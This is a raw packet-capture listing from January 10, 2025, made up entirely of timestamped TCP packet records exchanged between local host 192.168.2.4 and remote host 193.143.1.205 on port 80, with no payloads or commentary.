Jan 10, 2025 14:58:03.615598917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615633965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.616853952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.644268036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.644357920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.653351068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.653368950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.653378963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.653455973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.654402018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.654413939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.654453993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.663954973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.682857037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.682871103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.682882071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.682893991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.682929993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.682930946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.682941914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.682952881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.682979107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.683001041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.683064938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683093071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683103085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683126926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.683190107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683222055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683224916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.683233023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683268070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.683301926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683321953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683357954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.683427095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683480024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683489084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.683511972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.710530996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.722559929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726151943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726167917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726180077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726190090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726214886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726258993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726264954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726284027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726316929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726639986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726650000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726660967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726687908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726725101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726736069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726747990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726758957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726763964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726789951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726838112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726849079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726876020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726890087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726902008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.726928949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.726990938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727001905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727011919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727030993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727063894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727119923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727130890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727142096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727153063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727164030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727166891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727176905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727193117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727221012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727247000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727257967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727332115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727494001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727504969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727514982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727530003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727535009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727565050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727722883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727739096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727751017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727761030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727771044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727771997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727802038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727870941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727910995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727919102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727930069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727966070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.727972031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.727982044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728027105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728068113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728079081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728090048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728116035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728131056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728142977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728168011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728465080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728476048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728486061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728507996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728518009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728528023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728537083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728538990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728549957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728565931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728595972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728779078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728790045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728800058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728810072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728821039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728831053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728836060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728841066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728851080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728864908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728871107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728892088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728910923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728940010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728946924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.728950977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.728987932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.729733944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729744911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729757071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729767084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729778051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729784012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.729788065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729799032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729809999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.729845047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.729877949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729888916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729898930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729908943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729918957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729926109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.729928970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729940891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729950905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729952097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.729963064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.729974985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.729995012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.730122089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730133057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730144024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730166912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.730340004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730359077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730370998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730386019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.730410099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.730439901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730451107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730460882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730472088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.730499983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.730529070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.745196104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.745219946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.745229959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.745268106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.745276928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.745277882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.745305061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.745306015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.745316982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.745338917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.769926071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.769956112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.769967079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.769993067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.770031929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.770117998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770128965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770139933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770149946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770159960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770164013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.770169020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770179987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770186901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.770221949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.770253897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770272017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770282984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770292044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.770293951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770306110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.770324945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.770358086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.774775982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.785306931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813020945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813040018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813049078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813057899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813067913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813082933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813091993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813101053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813174009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813235044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813257933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813266993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813294888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813302994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813312054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813321114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813357115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813379049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813412905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813421965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813431978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813483000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813496113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813504934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813513994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813541889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813554049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813591957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813601971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813612938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813637972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813641071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813652039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813669920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813682079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813729048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813738108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813775063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813800097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813808918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813818932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813842058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813848972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813877106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813889027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813910007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813929081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.813971996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.813982010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814002037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814007044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814034939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814079046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814088106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814096928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814105988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814117908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814143896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814186096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814264059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814271927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814281940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814291000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814296961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814300060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814313889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814338923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814397097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814439058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814449072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814474106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814498901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814508915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814532995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.814584017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814593077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.814625025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.817991972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818003893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818013906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818054914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818070889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818150997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818160057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818170071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818177938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818186998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818196058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818205118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818206072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818219900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818229914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818231106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818252087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818269968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818279982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818289042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818306923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818320990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818347931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818443060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818451881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818461895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818480968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818495035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818542004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818551064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818559885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818568945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818584919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818586111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818605900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818651915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818661928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818670034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818686008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818716049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818783998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818793058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818804026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818823099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818897963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818907022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818916082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818924904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818933964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.818933964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.818958998 CET	49730	80	192.168.2.4	193.143.1.205
